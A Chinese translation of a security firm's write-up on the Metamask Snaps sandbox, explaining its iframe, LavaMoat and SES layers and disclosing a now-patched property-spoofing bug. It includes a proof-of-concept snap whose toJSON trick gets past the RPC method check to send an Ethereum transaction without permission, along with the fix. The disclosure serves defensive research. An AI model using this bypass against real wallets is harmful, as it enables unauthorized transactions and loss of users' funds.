Metamask Snaps:在沙盒中嬉戏

  • osecio
  • 发布于 2023-11-02 16:10
  • 阅读 12

本文深入探讨了Metamask Snaps的安全机制,包括其沙盒环境的三个安全层:隔离的Iframe、LavaMoat和SES,并详细分析了一个属性欺骗漏洞,该漏洞允许恶意Snap绕过权限检查,执行未经授权的操作,例如发送以太坊交易。最后,文章展示了漏洞的PoC,并介绍了Metamask的修复方案。

Metamask Snaps:在沙盒中玩耍

深入研究 Metamask Snaps。我们将探讨安全注意事项、环境设计,并剖析 Snaps 沙盒层中的一个属性欺骗漏洞。

Metamask Snaps:在沙盒中玩耍 的标题图片

概述

Metamask snaps 是扩展 Metamask 功能的简单模块。这些模块可以由任何人编写,并提供原版钱包不具备的实用功能。

Metamask 提供了沙盒环境,允许开发者安全地运行 Snap 代码,无需未经用户许可而披露或篡改关键信息。

在本文中,我们将探索 snap 执行环境的具体工作方式。然后,我们将深入研究我们在 Metamask Snaps 沙盒中报告的一个独特的属性欺骗漏洞。

沙盒安全

在本文的第一部分,我们将描述 Metamask 沙盒的工作原理,并检查它为保护 Snaps 的安全所做的工作。

基于权限的安全

每个 snap 的构建都只具有其所需的权限。这些权限在 snap.manifest.json 文件中指定,对于安全至关重要。

Snap 安全完全围绕用户展开,用户的决定可能会向恶意 snap 提供危险的权限。Metamask 会警告每项权限的风险。

以下是可能授予 snap 的关键权限:

  • snap_getBip44Entropysnap_getBip32Entropy -> 恶意 snap 检索密钥对会导致资金损失
  • endowment:transaction-insight -> 恶意 snap 在批准前获得交易见解可能导致抢先交易攻击

Snap 执行环境

Snaps 在完全沙盒化的环境中执行,该环境为执行不受信任的代码提供了安全的环境,并将其与正常的执行流程隔离开来。为了实现这一点,Metamask 使用 3 层安全机制来创建这个安全的环境:

  1. 隔离的 iframe
  2. LavaMoat
  3. SES (Secure EcmaScript)

隔离的 Iframe - Layer1

Snaps 使开发者能够在保持强大安全态势的同时增强 Metamask 的功能。这些模块在 Iframe 环境中执行,确保它们是隔离且安全的。为了方便执行,Metamask 利用 iFrame 沙盒机制,允许 snaps 在受控环境中运行。

框架:Metamask-Extension Repo

snap 执行过程在 metamask-extension 存储库的 metamask-controller.js 文件中启动。以下是相关 代码 的一瞥:

// 导入 snaps-controllers
// ...
const snapExecutionServiceArgs = {
  iframeUrl: new URL(process.env.IFRAME_EXECUTION_ENVIRONMENT_URL),
  messenger: this.controllerMessenger.getRestricted({
    name: 'ExecutionService',
  }),
  setupSnapProvider: this.setupSnapProvider.bind(this),
};

// 定义 IFRAME_EXECUTION_ENVIRONMENT_URL
process.env.IFRAME_EXECUTION_ENVIRONMENT_URL =
  'https://execution.metamask.io/0.36.1-flask.1/index.html';
// ...

此代码定义了 snapExecutionServiceArgs 对象,其中包含 IframeExecutionService 执行 snaps 所需的信息。IFRAME_EXECUTION_ENVIRONMENT_URL 指向执行环境所在的路径。

执行 Snaps:IframeExecutionService 的作用

在 snaps-controller 包的 IframeExecutionService.ts 文件中,IframeExecutionService 负责编排 snap 的执行。同样,以下是相关 代码 的一个片段:

// 注册 snap 交互的消息处理程序
this.#messenger.registerActionHandler(
  `${controllerName}:handleRpcRequest`,
  async (snapId: string, options: SnapRpcHookArgs) =>
    this.handleRpcRequest(snapId, options),
);

// 更多用于 executeSnap、terminateSnap 等的处理程序
// ...

// 执行一个 snap
async executeSnap(snapData: SnapExecutionData) {
  // 初始化 job、stream 和 environment
  const { jobId } = await this.initJob(snapData);
  const { worker, stream } = await this.initEnvStream(jobId);
  // ...
}

IframeExecutionService 注册消息处理程序,以促进 Metamask 和 iFrame 中的 snaps 之间的通信。${controllerName}:executeSnap 处理程序触发 snap 执行过程。

分步执行:从初始化到 iFrame 创建

protected async initEnvStream(jobId: string): Promise<{
    worker: Window;
    stream: BasePostMessageStream;
  }> {
    const iframeWindow = await createWindow(this.iframeUrl.toString(), jobId);

    const stream = new WindowPostMessageStream({
      name: 'parent',
      target: 'child',
      targetWindow: iframeWindow,
      targetOrigin: '*',
    });

    return { worker: iframeWindow, stream };
  }

这里通过 createWindow 创建 iframe,createWindow 定义在 snaps-utils package 中:

const iframe = document.createElement('iframe');
    iframe.setAttribute('id', id);
    iframe.setAttribute('data-testid', 'snaps-iframe');

    if (sandbox) {
      iframe.setAttribute('sandbox', 'allow-scripts');
    }
    iframe.setAttribute('src', uri);
    document.body.appendChild(iframe);

这使 iframe 能够使用沙盒属性创建,从而确保安全执行。

使用 LavaMoat 防御供应链攻击 - Layer2

当恶意组件渗透到开发者的应用程序中时,就会发生软件供应链破坏事件。随后,攻击者会利用该组件来提取关键信息,例如私有访问密钥。为了防范这些问题,Metamask 采用了一种名为 LavaMoat 的工具。

恶意依赖项可能会使用内置模块,例如 fs。或者,它们可能会将恶意代码注入到 npm 包中,以针对全局对象,例如 window 和 document。它们还可能包含利用 XMLHttpRequest 向外部服务器发出未经授权的请求的代码,从而能够泄露敏感的用户信息。

为了防止这种情况,Metamask Snaps 使用 LavaMoat 提供的策略文件,该文件仅授予平台 API 和全局变量对基本组件的访问权限。这限制了对强大对象的字段的访问,以防止被损坏的依赖项访问。

以下是与 iframe 相关的策略文件的 外观

"@metamask/post-message-stream": {
      "globals": {
        "MessageEvent.prototype": true,
        "WorkerGlobalScope": true,
        "addEventListener": true,
        "browser": true,
        "chrome": true,
        "location.origin": true,
        "postMessage": true,
        "removeEventListener": true
      },
      "packages": {
        "@metamask/post-message-stream>@metamask/utils": true,
        "@metamask/post-message-stream>readable-stream": true
      }
    }

除了 globals 部分之外,策略的一个关键方面是 packages 部分。此部分允许 @metamask/post-message-stream 包专门与包 @metamask/utilsreadable-stream 交互。它确保不允许与可能被入侵的包进行交互。

LavaMoat 还提供针对 prototype pollution 攻击的保护,因为恶意扩展可以使用它来篡改具有任意代码的合法函数。为了防止这种情况,LavaMoat 使用 SES lockdown 函数来冻结所有 javascript 内置原型。

Secure EcmaScript (SES) 沙盒 - 第 3 层

在 iframe 中并且在 lavamoat 执行之后,metamask 沙盒使用 Secure EcmaScript (SES) 作为设置 snap 限制的一种方式。让我们深入了解它是如何工作的:

SES 基础

Lockdown

作为设置 SES 沙盒的第一步,Metamask 执行 lockdown() 函数,该函数可以保护 javascript 对象免受某些攻击,主要包括:

  1. Prototype Pollution Lockdown 对所有 javascript 内置原型执行 Object.freeze,从而防止这些攻击。
  2. 信息泄露 Lockdown 删除了一些敏感信息,这些信息可以通过某些 javascript 内置对象泄露,例如 Error 对象中的 trace 属性,其中包含错误的堆栈跟踪。
Compartment

Compartment 是 snap 执行环境中的基本安全层。它们的主要功能是建立一个严格控制的沙盒执行环境。这是通过操纵 globalThis 对象以专门容纳安全函数来实现的。因此,在此受控 globalThis 上下文中执行的任何代码都无法篡改安全性。

const c = new Compartment();
c.globalThis === globalThis; // false
c.globalThis.JSON === JSON; // true

Compartment 还更改了评估器函数的行为,例如 evalFunction 构造函数,以便评估后的代码也在沙盒化的 globalThis 中执行。

Endowments

创建 Compartment 时,可以指定 endowments。这些 endowments 构成了在 Compartment 的 globalThis 中可访问的对象。但是,由于 endowments 将暴露于不受信任的环境,因此需要仔细选择和清理 endowments。

此外,SES 提供了 harden() 函数,该函数主要用于防止 endowments 被 Compartment 中执行的恶意代码修改。

设置 Snaps 执行环境

启动 snap 时,设置遵循以下步骤:

  1. 根据 snap permissions 创建 endowments
const { endowments, teardown: endowmentTeardown } = createEndowments(
    snap,
    ethereum,
    snapId,
    _endowments,
);

在 snap 开发中,需要在 snap 清单文件中指定所需的权限。其中一些权限会将额外的函数作为 endowments 公开在 Compartment 中。

一个明显的例子是 endowment:network-access 权限,它将 fetch() 函数添加到 endowments 中。

所有 endowments 都受到 harden 函数的保护,以防止可能的漏洞来自 endowment 修改,但有两个例外。

  1. 创建 snap compartment
const compartment = new Compartment({
    ...endowments,
    module: snapModule,
    exports: snapModule.exports,
});

注意:moduleexports 作为 endowments 传递,但没有经过 hardened 处理。这是有意的,因为 snap 需要导出函数才能正确执行。

  1. compartment 中评估 snap 代码
await this.executeInSnapContext(snapId, () => {
    compartment.evaluate(sourceCode);
    this.registerSnapExports(snapId, snapModule);
});

根据文档,snap 必须包含以下函数导出之一:onRpcRequestonTransactiononCronjob

一旦 Compartment 创建了这些函数,无论它们在何处执行,它们都将始终在该 Compartment 的沙盒化的 globalThis 环境中进行评估。

评估后,函数导出将被注册,并在稍后发出相应事件时执行。

漏洞研究

可能的攻击

在搜索 snap 环境中的漏洞时,我们枚举了一些可以被破坏并导致安全问题的方面,例如:

  • 损坏的 SES Container 隔离
  • Container 中的不安全 endowments
  • 不正确的 RPC 权限检查
  • 不安全的 snap 安装/更新

我们检查了所有这些漏洞假设,并使用不安全的 endowments 发现了一个次要的权限绕过错误。

要理解该漏洞,我们需要深入研究通过 endowments 公开的 snap 的 RPC 接口。

RPC 接口 endowments

Providers 限制

Snap 有两个可以用来与 metamask RPC 接口通信的接口:snapethereum (EIP-1193)。它们的区别在于每个接口只能发送可用 RPC methods 的子集:

export function assertSnapOutboundRequest(args: RequestArguments) {
  // Disallow any non `wallet_` or `snap_` methods for separation of concerns.
  assert(
    String.prototype.startsWith.call(args.method, 'wallet_') ||
      String.prototype.startsWith.call(args.method, 'snap_'),
    'The global Snap API only allows RPC methods starting with `wallet_*` and `snap_*`.',
  );
  assert(
    !BLOCKED_RPC_METHODS.includes(args.method),
    ethErrors.rpc.methodNotFound({
      data: {
        method: args.method,
      },
    }),
  );
  assertStruct(args, JsonStruct, 'Provided value is not JSON-RPC compatible');
}

此函数由 snap RPC provider 调用,因此它只能发送以 wallet_snap_ 开头的方法。此外,还有一些被阻止的 RPC 方法,当遇到这些方法时会立即抛出错误。

另一方面,ethereum provider 仅阻止以 snap_ 开头的方法和被阻止的方法。但是,它需要在 snap 清单中具有 endowment:ethereum-provider 权限。

执行流程

两个 providers(snapethereum)都是在 SES container 之外构建的,具有一个 request function

  const request = async (args: RequestArguments) => {
      assertSnapOutboundRequest(args); // or assertEthereumOutboundRequest(args);
      const sanitizedArgs = getSafeJson(args);
      this.notify({ method: 'OutboundRequest' });
      try {
        return await withTeardown(
          originalRequest(sanitizedArgs as unknown as RequestArguments),
          this as any,
        );
      } finally {
        this.notify({ method: 'OutboundResponse' });
      }
    };

特别是,此函数来自 snap provider,但它与 ethereum 之间唯一的区别是第一行的 assert 函数。

正如我们在代码中看到的,执行流程遵循以下模式:

  1. 验证 args 是否有效
  2. getSafeJson 以获取 sanitizedArgs
  3. originalRequest(sanitizedArgs)

注意:originalRequest 对 metamask service worker 进行 RPC 调用

Safe JSON 漏洞

当我们进一步研究 getSafeJson 函数(在 @metamask/utils package 中定义)时,我们发现了以下 code

export const JsonStruct = coerce(UnsafeJsonStruct, any(), (value) => {
  assertStruct(value, UnsafeJsonStruct);
  return JSON.parse(
    JSON.stringify(value, (propKey, propValue) => {
      // Strip __proto__ and constructor properties to prevent prototype pollution.
      if (propKey === '__proto__' || propKey === 'constructor') {
        return undefined;
      }
      return propValue;
    }),
  );
});

该函数在发送到 getSafeJson 的参数中执行 JSON.parse(JSON.stringify(value))。这个特定的函数是我们找到绕过断言限制的方法。该绕过是通过在合法的 snap.request 参数中设置 toJSON 函数来实现的:

  1. assertSnapOutboundRequest(args) -> 通过断言
  2. sanitizedArgs = getSafeJson(args) -> toJSON 返回恶意对象
  3. originalRequest(sanitizedArgs) -> 转发恶意对象

断言绕过在两种情况下可能很有用:

  1. 转发被阻止的 RPC 方法
  2. snap.request 中发出仅应在 ethereum.request 中完成的请求(启用了 endowment:ethereum-provider)。

这个特殊的漏洞允许 snap 在没有权限的情况下执行 ethereum 请求。

影响

我们描述的绕过可用于误导 snap 的允许权限。这可能导致 snap 安装确认弹出窗口不显示 snap 的实际权限。该漏洞允许 snap 意外地向用户提出恶意交易,即使按照文档中的权限,这也是不可能的。

概念验证

为了演示该问题,我们创建了一个没有 endowment:ethereum-provider 权限的 snap,并使用 snap 接口调用 eth_sendTransaction。根据文档,这是不可能的:

import { OnRpcRequestHandler } from '@metamask/snaps-types';

function jsonExploit(){
  let x = [] as any

  x.method = "snap_dialog"

  x.toJSON = () => {
    return {
      method: "eth_requestAccounts",
      params: []
    }
  }

  return snap.request(x)

}

function transactionExploit(){
  let x = [] as any

  x.method = "snap_dialog"

  x.toJSON = () => {
    return {
      method: "eth_sendTransaction",
      params: [{\
        from: "0xcf26B767586cC5fCF8737dD3FA57de164aF4248d", // change this to your address\
        to: "0xcf26B767586cC5fCF8737dD3FA57de164aF4248d",\
        value: "0x1",\
      }]
    }
  }

  return snap.request(x);
}

export const onRpcRequest: OnRpcRequestHandler = ({ origin, request }) => {

  switch (request.method) {
    case 'json':
      return jsonExploit();
    case 'transaction':
      return transactionExploit();
    default:
      throw new Error('Method not found.');
  }
};

我们设置 x.method = "snap_dialog" 以通过断言,并设置一个 toJSON 函数以在此方法之后将此方法更改为 eth_sendTransaction

缓解措施

Metamask 通过在 getSafeJson 函数执行后断言参数来缓解此问题。该补丁已在 commit 168ff08 中引入,具有以下更改:

const request = async (args: RequestArguments) => {
-      assertEthereumOutboundRequest(args);
-      const sanitizedArgs = getSafeJson(args);
+      const sanitizedArgs = getSafeJson(args) as RequestArguments;
+      assertEthereumOutboundRequest(sanitizedArgs);

结论

Snaps 沙盒实现中的这种独特的属性欺骗漏洞说明了攻击者在 Javascript 中拥有的广泛控制范围,这使得设计强大的沙盒实现成为一项极其复杂的任务。

Metamask 已经实施了许多层来缓解潜在的漏洞,我们很荣幸能够帮助 Snaps 变得更安全。

  • 原文链接: osec.io/blog/2023-11-01-...
  • 登链社区 AI 助手,为大家转译优秀英文文章,如有翻译不通的地方,还请包涵~
点赞 0
收藏 0
分享
本文参与登链社区写作激励计划 ,好文好收益,欢迎正在阅读的你也加入。

0 条评论

请先 登录 后评论
osecio
osecio
Audits that protect blockchain ideas.